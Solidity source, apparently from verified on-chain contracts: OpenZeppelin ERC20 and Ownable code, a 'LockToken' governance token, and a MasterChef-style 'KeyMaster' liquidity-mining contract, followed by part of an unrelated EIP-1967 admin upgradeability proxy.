require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/LockToken.sol
pragma solidity 0.6.12;
// LockToken with Governance.
contract LockToken is ERC20("LockToken", "LOCK"), Ownable {
constructor() public {
// pre-allocation 2.7M
_mint(msg.sender, 2700000000000000000000000);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (KeyMaster).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256(
"Delegation(address delegatee,uint256 nonce,uint256 expiry)"
);
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/**
* @notice Get delegatee
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"LOCK::delegateBySig: invalid signature"
);
require(
nonce == nonces[signatory]++,
"LOCK::delegateBySig: invalid nonce"
);
require(now <= expiry, "LOCK::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(
blockNumber < block.number,
"LOCK::getPriorVotes: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying LOCKs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
uint32 blockNumber = safe32(
block.number,
"LOCK::_writeCheckpoint: block number exceeds 32 bits"
);
if (
nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(
blockNumber,
newVotes
);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// File: contracts/KeyMaster.sol
pragma solidity 0.6.12;
interface IMigratorMaster {
// Perform LP token migration from legacy UniswapV2 to KeyKeySwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// KeyKeySwap must mint EXACTLY the same amount of KeyKeySwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// KeyMaster is the master of Key. He can make LOCK and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once LOCK is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract KeyMaster is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of LOCKs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accLockPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accLockPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. LOCKs to distribute per block.
uint256 lastRewardBlock; // Last block number that LOCKs distribution occurs.
uint256 accLockPerShare; // Accumulated LOCKs per share, times 1e12. See below.
}
// The LOCK TOKEN!
LockToken public lock;
// Dev address.
address public devaddr;
// Block number when bonus LOCK period ends.
uint256 public bonusEndBlock;
// LOCK tokens created per block.
uint256 public lockPerBlock;
// Bonus multiplier for early lock makers, times 1e12
uint256 public constant BONUS_MULTIPLIER = 12000000000000;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorMaster public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when LOCK mining starts.
uint256 public startBlock;
// Number of blocks interval to halve the reward
uint256 public halvingInterval;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
LockToken _lock,
address _devaddr,
uint256 _lockPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _halvingInterval
) public {
lock = _lock;
devaddr = _devaddr;
lockPerBlock = _lockPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
halvingInterval = _halvingInterval;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock
? block.number
: startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accLockPerShare: 0
})
);
}
// Update the given pool's LOCK allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorMaster _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward halving multiplier over the given _from to _to block, assuming _from >= bonusEndBlock
function _getHalvingMultiplier(uint256 _from, uint256 _to)
private
view
returns (uint256)
{
uint256 fromTier = _from.sub(bonusEndBlock).div(halvingInterval);
uint256 toTier = _to.sub(bonusEndBlock).div(halvingInterval);
uint256 halving = 1e12;
uint256 startCursorBlock = _from;
uint256 endCursorBlock = _from;
uint256 multiplier = 0;
for (uint256 i = 0; i < fromTier; i++) {
halving = halving.div(2);
}
for (uint256 i = fromTier; i <= toTier; i++) {
if (i == toTier) {
multiplier = multiplier.add(
_to.sub(endCursorBlock).mul(halving)
);
} else {
endCursorBlock = bonusEndBlock.add(halvingInterval.mul(i + 1));
multiplier = multiplier.add(
endCursorBlock.sub(startCursorBlock).mul(halving)
);
startCursorBlock = endCursorBlock;
halving = halving.div(2);
}
}
return multiplier;
}
// Return reward multiplier over the given _from to _to block, assuming _to > _from
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _getHalvingMultiplier(_from, _to);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_getHalvingMultiplier(bonusEndBlock, _to)
);
}
}
// View function to see pending LOCKs on frontend.
function pendingLock(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accLockPerShare = pool.accLockPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(
pool.lastRewardBlock,
block.number
);
uint256 lockReward = multiplier
.mul(lockPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint)
.div(1e12);
accLockPerShare = accLockPerShare.add(
lockReward.mul(1e12).div(lpSupply)
);
}
return user.amount.mul(accLockPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 lockReward = multiplier
.mul(lockPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint)
.div(1e12);
lock.mint(devaddr, lockReward.mul(8).div(100));
lock.mint(address(this), lockReward);
pool.accLockPerShare = pool.accLockPerShare.add(
lockReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to KeyMaster for LOCK allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accLockPerShare)
.div(1e12)
.sub(user.rewardDebt);
safeLockTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accLockPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from KeyMaster.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accLockPerShare).div(1e12).sub(
user.rewardDebt
);
safeLockTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accLockPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe lock transfer function, just in case if rounding error causes pool to not have enough LOCKs.
function safeLockTransfer(address _to, uint256 _amount) internal {
uint256 lockBal = lock.balanceOf(address(this));
if (_amount > lockBal) {
lock.transfer(_to, lockBal);
} else {
lock.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
